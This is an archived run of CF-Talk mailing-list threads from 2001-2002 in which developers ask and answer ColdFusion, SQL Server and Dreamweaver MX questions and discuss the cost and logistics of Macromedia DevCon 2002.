I am going to release a website for CFMX certification
in  a shortwhile.

I would like to know about the hosting services for
Coldfusion... Please mention few names either
free/charge basis...

Thank you

--Siva Girumala

__
Do You Yahoo!?
Yahoo! Finance - Get real-time stock quotes
http://finance.yahoo.com

__
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



iscollection?

2002-08-27 Thread Mark W. Breneman

Has anyone seen a way of checking to see of a collection exists?

What I am looking for could be a function called iscollection(collection
name)if it existed.

Is there a better way than evoking a search of a collection and catching any
error.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

__
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: iscollection?

2002-08-27 Thread Mark W. Breneman

Interesting...

What docs is that CFMX?  When I try it on my CF 5 server I get An unknown
attribute 'name' in the cfcollection tag.

MB

-Original Message-
From: Ryan Kime [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, August 27, 2002 12:16 PM
To: CF-Talk
Subject: RE: iscollection?


This is what they give in the docs for searching for a collection:

cflock name=verity timeout=60
   cfcollection action=list name=myCollections
/cflock
cfquery name=qoq dbtype=query
select * from myCollections
where myCollections.name = 'myCollectionName'
/cfquery
cfdump var = #qoq#


-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, August 27, 2002 11:51 AM
To: CF-Talk
Subject: iscollection?


Has anyone seen a way of checking to see of a collection exists?

What I am looking for could be a function called iscollection(collection
name)if it existed.

Is there a better way than evoking a search of a collection and catching any
error.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770



__
Get the mailserver that powers this list at http://www.coolfusion.com
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



change binary values 1/0 to T/F in a SQL query? Possible?

2002-08-19 Thread Mark W. Breneman

I think I have seen this before... Does anyone know if it is possible to get
SQL (MS SQL 7 server) to dynamically change the value of a column?

I need to change  binary values 1/0 to T/F in a SQL statement.

I am looking for something like:
Select Fname, lname, IF (member){ T else F}
From members


Thanks much

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

__
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: change binary values 1/0 to T/F in a SQL query? Possible?

2002-08-19 Thread Mark W. Breneman

That will do what I need it to do.  Thanks a lot!

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED]]
Sent: Monday, August 19, 2002 12:17 PM
To: CF-Talk
Subject: RE: change binary values 1/0 to T/F in a SQL query? Possible?


 I think I have seen this before... Does anyone know if it
 is possible to get SQL (MS SQL 7 server) to dynamically
 change the value of a column?

 I need to change binary values 1/0 to T/F in a SQL statement.

 I am looking for something like:
 Select Fname, lname, IF (member){ T else F}
 From members

Yes, you can use the CASE statement to do this:

SELECT  FName,
LName,
CASE member
WHEN 1 THEN 'T'
ELSE 'F'
END AS member_str
FROMmembers

There may be more efficient ways to do this, also, but this is what came to
mind first.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
voice: (202) 797-5496
fax: (202) 797-5444

__
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



A place for queries?

2002-08-15 Thread Mark W. Breneman

Is there a best practice place to put queries on the cfm page?  i.e. above
the head tag?, below the body tag?

I have seen where verity will grab SQL code in its summary is does the
placing of the query effect this? (I expect it does)

Thanks



Mark W. Breneman

__
Get the mailserver that powers this list at http://www.coolfusion.com
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



losing session var on client server.

2002-07-02 Thread Mark W. Breneman

Hello,

I am having a problem with a client's server, it is losing some user's
session vars and I can not reproduce the problem.

I am using the session var to hold the job Id that the user is applying for.
I finally just put the job ID in a Url var and the problem went away.  But,
it is still bothering me why it is losing the session var.

I know that session vars are dependent on cookies being turned on, but, the
occurrence of this error was about 30% of all applications. A fair amount
higher (I am guessing) then the number of over paranoid people that have the
cookies turned off.

Any ideas?  I think I am going to start recording the browser type and ver
to see if I can find a pattern.

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

__
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: DevCon 2002 info

2002-07-02 Thread Mark W. Breneman

Anyone know if there will be high speed access at the on site hotel
(swan/dolphin)?  Last year I had to sign up for a earth link account and it
still was a long distance number, just to do some work.

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Mark A. Kruger - CFG [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 3:48 PM
To: CF-Talk
Subject: RE: DevCon 2002 info


Ditto to that Paul.  I took the whole family for 8 days of fun (only 4 for
me though g).

-Mk

-Original Message-
From: Wille, Paul [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 3:38 PM
To: CF-Talk
Subject: RE: DevCon 2002 info


 As per Macromedia's site
 (http://www.macromedia.com/v1/conference/):
 =-=-=-=-=-=-=-=-=-=-=-=-
 Fees
 Prior to August 27, 2002 - $895
 After August 27, 2002 - $1,050
 =-=-=-=-=-=-=-=-=-=-=-=-

 Is it just me? or is the cost to enter this conference
 outrageous?

 How does macromedia expect freelancers and developers, in
 this time layoffs and reductions, to afford the cost of
 this conference?

Also, for the record, DevCon 2001 was a first class event.  Macromedia
shelled out a very nice conference (including a theme park rented out
specifically for conference attendees), live music, etc, let alone a top
notch conference.  I think the price is quite reasonable considering
what attendees receive.

--Paul

Paul W. Wille   [EMAIL PROTECTED]
---
Certified Advanced ColdFusion 5 Developer
---
ISITE Design, Inc. -- Solutions Architect
www.isitedesign.com
615 SW Broadway, Suite 200
Portland, OR 97205
503.221.9860 x110
503.221.9865



-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 12:30 PM
To: CF-Talk
Subject: RE: DevCon 2002 info



It seems comparable to other conferences:
https://register.ftpconferences.com/reg_or.asp

This kind of thing boils down to simple economics. Macromedia is a
for-profit entity, in theory. They have to be able to support the cost
of the conference, at a bare minimum. I'm sure they'd like it to
actually be profitable.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
voice: (202) 797-5496
fax: (202) 797-5444



__
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: DevCon 2002 info

2002-07-02 Thread Mark W. Breneman

What I saw that was the business center looked more like a computer LCD
screen with a dollar bill slot on the side of it.  But, may have missed the
real business center.  I am looking for some where I can plug in my laptop
and work for a few hours. (if need be)

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Chad Gray [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 4:39 PM
To: CF-Talk
Subject: RE: DevCon 2002 info


Some of the conferences I have been to broadcast a wireless signal you
can pick up to go online.  Maybe Macromedia will think of this...  :)

They could show off their Pocket PC Flash stuff.



-Original Message-
From: Matthew Fusfield [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 4:23 PM
To: CF-Talk
Subject: RE: DevCon 2002 info

I'm not sure about the Swan and Dolphin, but I believe there is a
business center at the Contemporary Hotel and there *may* be rooms there
with network connections but I'm not really certain. You might also want
to check Coronado Springs as I believe they also have business
conferencing facilities, so it may be available there.

-Matt

-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 5:18 PM
To: CF-Talk
Subject: RE: DevCon 2002 info


Anyone know if there will be high speed access at the on site hotel
(swan/dolphin)?  Last year I had to sign up for a earth link account and
it
still was a long distance number, just to do some work.

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Mark A. Kruger - CFG [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 3:48 PM
To: CF-Talk
Subject: RE: DevCon 2002 info


Ditto to that Paul.  I took the whole family for 8 days of fun (only 4
for
me though g).

-Mk

-Original Message-
From: Wille, Paul [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 3:38 PM
To: CF-Talk
Subject: RE: DevCon 2002 info


 As per Macromedia's site
 (http://www.macromedia.com/v1/conference/):
 =-=-=-=-=-=-=-=-=-=-=-=-
 Fees
 Prior to August 27, 2002 - $895
 After August 27, 2002 - $1,050
 =-=-=-=-=-=-=-=-=-=-=-=-

 Is it just me? or is the cost to enter this conference
 outrageous?

 How does macromedia expect freelancers and developers, in
 this time layoffs and reductions, to afford the cost of
 this conference?

Also, for the record, DevCon 2001 was a first class event.  Macromedia
shelled out a very nice conference (including a theme park rented out
specifically for conference attendees), live music, etc, let alone a top
notch conference.  I think the price is quite reasonable considering
what attendees receive.

--Paul

Paul W. Wille   [EMAIL PROTECTED]
---
Certified Advanced ColdFusion 5 Developer
---
ISITE Design, Inc. -- Solutions Architect
www.isitedesign.com
615 SW Broadway, Suite 200
Portland, OR 97205
503.221.9860 x110
503.221.9865



-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 12:30 PM
To: CF-Talk
Subject: RE: DevCon 2002 info



It seems comparable to other conferences:
https://register.ftpconferences.com/reg_or.asp

This kind of thing boils down to simple economics. Macromedia is a
for-profit entity, in theory. They have to be able to support the cost
of the conference, at a bare minimum. I'm sure they'd like it to
actually be profitable.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
voice: (202) 797-5496
fax: (202) 797-5444






__
This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: DevCon 2002 info

2002-07-02 Thread Mark W. Breneman

Gee, maybe we should rent out a conference room with tables and set up a
wireless network w/ high speed internet access and only charge $20 for the 4
days.


Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


-Original Message-
From: Chad Gray [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 4:39 PM
To: CF-Talk
Subject: RE: DevCon 2002 info


Some of the conferences I have been to broadcast a wireless signal you
can pick up to go online.  Maybe Macromedia will think of this...  :)

They could show off their Pocket PC Flash stuff.



-Original Message-
From: Matthew Fusfield [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 4:23 PM
To: CF-Talk
Subject: RE: DevCon 2002 info

I'm not sure about the Swan and Dolphin, but I believe there is a
business center at the Contemporary Hotel and there *may* be rooms there
with network connections but I'm not really certain. You might also want
to check Coronado Springs as I believe they also have business
conferencing facilities, so it may be available there.

-Matt

-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 5:18 PM
To: CF-Talk
Subject: RE: DevCon 2002 info


Anyone know if there will be high speed access at the on site hotel
(swan/dolphin)?  Last year I had to sign up for a earth link account and
it
still was a long distance number, just to do some work.

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Mark A. Kruger - CFG [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 3:48 PM
To: CF-Talk
Subject: RE: DevCon 2002 info


Ditto to that Paul.  I took the whole family for 8 days of fun (only 4
for
me though g).

-Mk

-Original Message-
From: Wille, Paul [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 3:38 PM
To: CF-Talk
Subject: RE: DevCon 2002 info


 As per Macromedia's site
 (http://www.macromedia.com/v1/conference/):
 =-=-=-=-=-=-=-=-=-=-=-=-
 Fees
 Prior to August 27, 2002 - $895
 After August 27, 2002 - $1,050
 =-=-=-=-=-=-=-=-=-=-=-=-

 Is it just me? or is the cost to enter this conference
 outrageous?

 How does macromedia expect freelancers and developers, in
 this time layoffs and reductions, to afford the cost of
 this conference?

Also, for the record, DevCon 2001 was a first class event.  Macromedia
shelled out a very nice conference (including a theme park rented out
specifically for conference attendees), live music, etc, let alone a top
notch conference.  I think the price is quite reasonable considering
what attendees receive.

--Paul

Paul W. Wille   [EMAIL PROTECTED]
---
Certified Advanced ColdFusion 5 Developer
---
ISITE Design, Inc. -- Solutions Architect
www.isitedesign.com
615 SW Broadway, Suite 200
Portland, OR 97205
503.221.9860 x110
503.221.9865



-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 02, 2002 12:30 PM
To: CF-Talk
Subject: RE: DevCon 2002 info



It seems comparable to other conferences:
https://register.ftpconferences.com/reg_or.asp

This kind of thing boils down to simple economics. Macromedia is a
for-profit entity, in theory. They have to be able to support the cost
of the conference, at a bare minimum. I'm sure they'd like it to
actually be profitable.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
voice: (202) 797-5496
fax: (202) 797-5444






__
Structure your ColdFusion code with Fusebox. Get the official book at 
http://www.fusionauthority.com/bkinfo.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



MX and SQL2000 on same 2 CPU Box

2002-06-26 Thread Mark W. Breneman

Hello,

We have a 2 733MHz Dell sever that we are going to recycle. We will be
putting a second 733 CPU in it.  What I am thinking is that I can get SQL
2000 to run on one CPU (due to licensing) and have CFMX (and other apps) run
on the first CPU.  Is this possible? I know I can assign SQL to the 2nd CPU
but will other apps (i.e CFMX) respect that assignment?


Thoughts?


Thanks
Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

__
Get the mailserver that powers this list at http://www.coolfusion.com
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Macromedia Folks: What are you thinking?

2002-05-06 Thread Mark W. Breneman

I hate to be a Me too but,

(not bashing, just IMHO)

I don't like defining sites, I avoid it whenever possible.  I have 79 active
sites (more every week) that my Company manages on our local development
server.  To define each site would take me and each of my staff at least and
1/2 - 1 hour for each person to define the 79 of them.  I have other
mindless things to do with my time. :-)

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770



-Original Message-
From: Jeffry Houser [mailto:[EMAIL PROTECTED]]
Sent: Monday, May 06, 2002 11:22 AM
To: CF-Talk
Subject: RE: Macromedia Folks: What are you thinking?


At 10:17 AM 5/6/2002 -0600, you wrote:
I don't work with RDS or FTP, but I've already determined that I'll be
sticking with CF Studio 4.5.2 for the web app I'm developing.  Simply
because I don't like the idea of building a SITE in DWMX so I can work with
my files (yes, I know I can edit my files without a site, but you loose
some
of the functionality of DW if you don't create a site - such as dynamic
content - unless you manually code everything.)  I don't like the ideas of
these extra files floating around my web directories.  When I build an app,
the files within my app folder(s) are files required by the app.  This site
file serves no purpose when I deliver my site, and becomes an extra step to
remember if I don't want to transfer that file to my live site.

  I agree with you.  That is my biggest bite about Dreamweaver sites.  At
least they aren't as bad as Frontpage, though, right?
  Do those extra folders transfer if you the Dreamweaver synchronize
functionality?



--
Jeffry Houser | mailto:[EMAIL PROTECTED]
Need a Web Developer?  Contact me!
AIM: Reboog711  | Fax / Phone: 860-223-7946
--
My Books: http://www.instantcoldfusion.com
My Band: http://www.farcryfly.com
--
Will I be on the streets tomorrow, Will I have to beg and Borrow
Will I have to go back to the job I left behind?


__
Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. http://www.fusionauthority.com/ads.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



Massimo's snippet converter (was:CFStudio DWMX hiccups)

2002-05-02 Thread Mark W. Breneman

Has Massimo's snippet converter been posted yet?  If not, does any one know
where it will be posted?  DWMX exchange?

Can't work with out my snippets.

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Ben Forta [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, April 30, 2002 1:44 PM
To: CF-Talk
Subject: RE: CFStudio  DWMX hiccups


FYI, Massimo's snippet converter will be freely available with 48 hours.

--- Ben


-Original Message-
From: Ben Forta [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, April 30, 2002 1:02 PM
To: CF-Talk
Subject: RE: CFStudio  DWMX hiccups


Massimo Foti wrote a Studio to DWMX snippet converter extension. I'll
try find out where it is and whether or not it is public yet.

--- Ben


-Original Message-
From: Vernon Viehe [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, April 30, 2002 12:56 PM
To: CF-Talk
Subject: RE: CFStudio  DWMX hiccups


 - Best way to import snippets from CFStudio?

Dunno about any UI for auto-import, but to install snippets in DWMX,
just copy them to the snippets folder:

C:\Program Files\Macromedia\dreamweaver mx\Configuration\Snippets (or
where ever your installation may be)


 - Is there anything like shared snippets in DWMX?

installing them in the above location makes them always available.


 - Can DWMX not be set up to automatically open files that were left
 open on last closing when it starts up?

Well, I think you got me on that one. Send in a feature request:
http://www.macromedia.com/support/email/wishform





__
Get the mailserver that powers this list at http://www.coolfusion.com
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



UPS E-commerce online tools (XML) and CF and Ben Forta's CF_UPSPrice tags impending death?

2002-04-26 Thread Mark W. Breneman

Has anyone seen a custom tag that talks to UPS E-commerce online tools (XML)
for shipping rates?

I have found tags for time-in-transit and package tracking but, not for
shipping rates.

I am leaning toward using CF ratemonger, but I would rather have something
with no maintenance.

cf_Rumor
We had a meeting with two UPS reps the other day and they said that they
were expecting the cgi interface to ups shipping rate would most likely
start the two year phase out cycle starting this next January.  So, if we
are to believe this UPS reps expectation then Ben Forta's CF_UPSPrice, that
uses the cgi interface, will stop working about Jan 2005.  Again, just hear
say from a UPS rep and by no means an official statement by UPS. Take it for
what it is worth.
/cf_Rumor

I find this issue interesting due to the large amount of sites that use the
cgi interface to get ups shipping rates and that if, UPS were to do away
with the cgi interface the amount of unhappy CF, ASP, PHP and CGI
programmers there would be.  But, two years is a long time.

Thoughts? / more info?


Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


__
Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. http://www.fusionauthority.com/signup.cfm
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



quick regular expression question

2002-02-20 Thread Mark W. Breneman

I seem to be having a problem with this regular expression.  Can anyone tell
me why?  It must be something simple.

div align=center[[:space:]a-z0-9A-Z[:punct:][:space:]]+/div

All I am trying to do is select everything between some pesky div tags.

Thanks

__
Get Your Own Dedicated Windows 2000 Server
  PIII 800 / 256 MB RAM / 40 GB HD / 20 GB MO/XFER
  Instant Activation · $99/Month · Free Setup
  http://www.pennyhost.com/redirect.cfm?adcode=coldfusionb
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: concatenate blank fields SQL and the pesky

2002-01-16 Thread Mark W. Breneman

Thanks that works!!! I thought about tiring that yesterday but, never did
thinking that putting the ';' in the isnull would make it always not null
and end up with a '; always.  I see that I was wrong.

Thanks much!

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Pascal Peters [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, January 16, 2002 3:52 AM
To: CF-Talk
Subject: RE: concatenate blank fields SQL and the pesky


SELECT LTrim(Rtrim(IsNull(Author, ' ') + IsNull('; ' + secondAuthor, '
')))
AS
Authors
FROM table

-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]]
Sent: dinsdag 15 januari 2002 22:25
To: CF-Talk
Subject: concatenate blank fields SQL and the pesky


Ok, I have to concatenate two fields together Author and SecondAuthor.
SecondAuthor some times has blank values in it.

What I have so far is (thanks Hatton)

SELECT LTrim(Rtrim(IsNull(Author, ' ') + '; ' + IsNull(secondAuthor, '
')))
AS
Authors
FROM table

Now the only question is if a book only has one author how do I not have
the
; after the Author.

Yes, I know I should break the Authors off into a related table but,
that is
not in the scope of the project.

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

__
Get Your Own Dedicated Windows 2000 Server
  PIII 800 / 256 MB RAM / 40 GB HD / 20 GB MO/XFER
  Instant Activation · $99/Month · Free Setup
  http://www.pennyhost.com/redirect.cfm?adcode=coldfusionb
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



concatenate blank fields SQL and the pesky

2002-01-15 Thread Mark W. Breneman

Ok, I have to concatenate two fields together Author and SecondAuthor.
SecondAuthor some times has blank values in it.

What I have so far is (thanks Hatton)

SELECT LTrim(Rtrim(IsNull(Author, ' ') + '; ' + IsNull(secondAuthor, ' ')))
AS
Authors
FROM table

Now the only question is if a book only has one author how do I not have the
; after the Author.

Yes, I know I should break the Authors off into a related table but, that is
not in the scope of the project.

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: C. Hatton Humphrey [mailto:[EMAIL PROTECTED]]
Sent: Thursday, January 10, 2002 3:32 PM
To: CF-Talk
Subject: RE: concatenate blank fields in access and SQL


 Is there a way to concatenate two fields in access when one of them are
 blank?

 Select Title + ' '+ subtitle as fulltitle
 from table

 Fulltitle is blank when ether field is blank.

 Does any one know if this works in SQL server 7.

Is SQL server adding a NULL field to anything turns the entire statement to
NULL

Use the IsNull function to get around this:

SELECT LTrim(Rtrim(IsNull(Title, ' ') + ' ' + IsNull(Subtitle, ' '))) AS
fulltitle
FROM table

This should return the recordset you're looking for.

Hatton

__
Get Your Own Dedicated Windows 2000 Server
  PIII 800 / 256 MB RAM / 40 GB HD / 20 GB MO/XFER
  Instant Activation · $99/Month · Free Setup
  http://www.pennyhost.com/redirect.cfm?adcode=coldfusionb
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



quick SQL type question

2002-01-11 Thread Mark W. Breneman

Can anyone tell me the correct syntax for the type convert in a sql
statement?

I need to insert data from one field that's type is varchar into a numeric
field.  The data in the varchar field are numbers.

I get Error converting data type varchar to numeric when running:

INSERT INTO table1 (AcquisitionNumber)
SELECT Acquisition
FROM table2

I saw something at devcon that there was a type convert in SQL

INSERT INTO table1 (convert2numeric(AcquisitionNumber))
SELECT Acquisition
FROM table2

Any one know more about this?

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770
__
Get Your Own Dedicated Windows 2000 Server
  PIII 800 / 256 MB RAM / 40 GB HD / 20 GB MO/XFER
  Instant Activation · $99/Month · Free Setup
  http://www.pennyhost.com/redirect.cfm?adcode=coldfusionb
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: quick SQL type question

2002-01-11 Thread Mark W. Breneman

thanks

-Original Message-
From: Brian Ferrigno [mailto:[EMAIL PROTECTED]]
Sent: Friday, January 11, 2002 12:07 PM
To: CF-Talk
Subject: RE: quick SQL type question


Mark

In SQL 7 the syntax is

CONVERT(datatype[(length)], expression)

ex. CONVERT(integer,#SomeVarCharVariable#)




Brian Ferrigno

-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]]
Sent: Friday, January 11, 2002 1:00 PM
To: CF-Talk
Subject: quick SQL type question


Can anyone tell me the correct syntax for the type convert in a sql
statement?

I need to insert data from one field that's type is varchar into a
numeric
field.  The data in the varchar field are numbers.

I get Error converting data type varchar to numeric when running:

INSERT INTO table1 (AcquisitionNumber)
SELECT Acquisition
FROM table2

I saw something at devcon that there was a type convert in SQL

INSERT INTO table1 (convert2numeric(AcquisitionNumber))
SELECT Acquisition
FROM table2

Any one know more about this?

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


__
Get Your Own Dedicated Windows 2000 Server
  PIII 800 / 256 MB RAM / 40 GB HD / 20 GB MO/XFER
  Instant Activation · $99/Month · Free Setup
  http://www.pennyhost.com/redirect.cfm?adcode=coldfusionb
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



concatenate blank fields in access and SQL

2002-01-10 Thread Mark W . Breneman

Is there a way to concatenate two fields in access when one of them are
blank?

Select Title + ' '+ subtitle as fulltitle
from table

Fulltitle is blank when ether field is blank.

Does any one know if this works in SQL server 7.

Thanks!


Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770
__
Dedicated Windows 2000 Server
  PIII 800 / 256 MB RAM / 40 GB HD / 20 GB MO/XFER
  Instant Activation · $99/Month · Free Setup
  http://www.pennyhost.com/redirect.cfm?adcode=coldfusiona
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/
Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists



RE: Running CF as command line tool

2001-12-28 Thread Mark W. Breneman

I know that this is not exactly what you are looking for but
http://www.winbatch.com/ is a cool scripting / automation tool.  I have seen
it do some amazing things.

Mark W. Breneman
-Macromedia Certified ColdFusion 5 Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Alex [mailto:[EMAIL PROTECTED]]
Sent: Friday, December 28, 2001 2:21 PM
To: CF-Talk
Subject: Re: Running CF as command line tool


also if you are on windows look at cygwin or a ported unix shell to
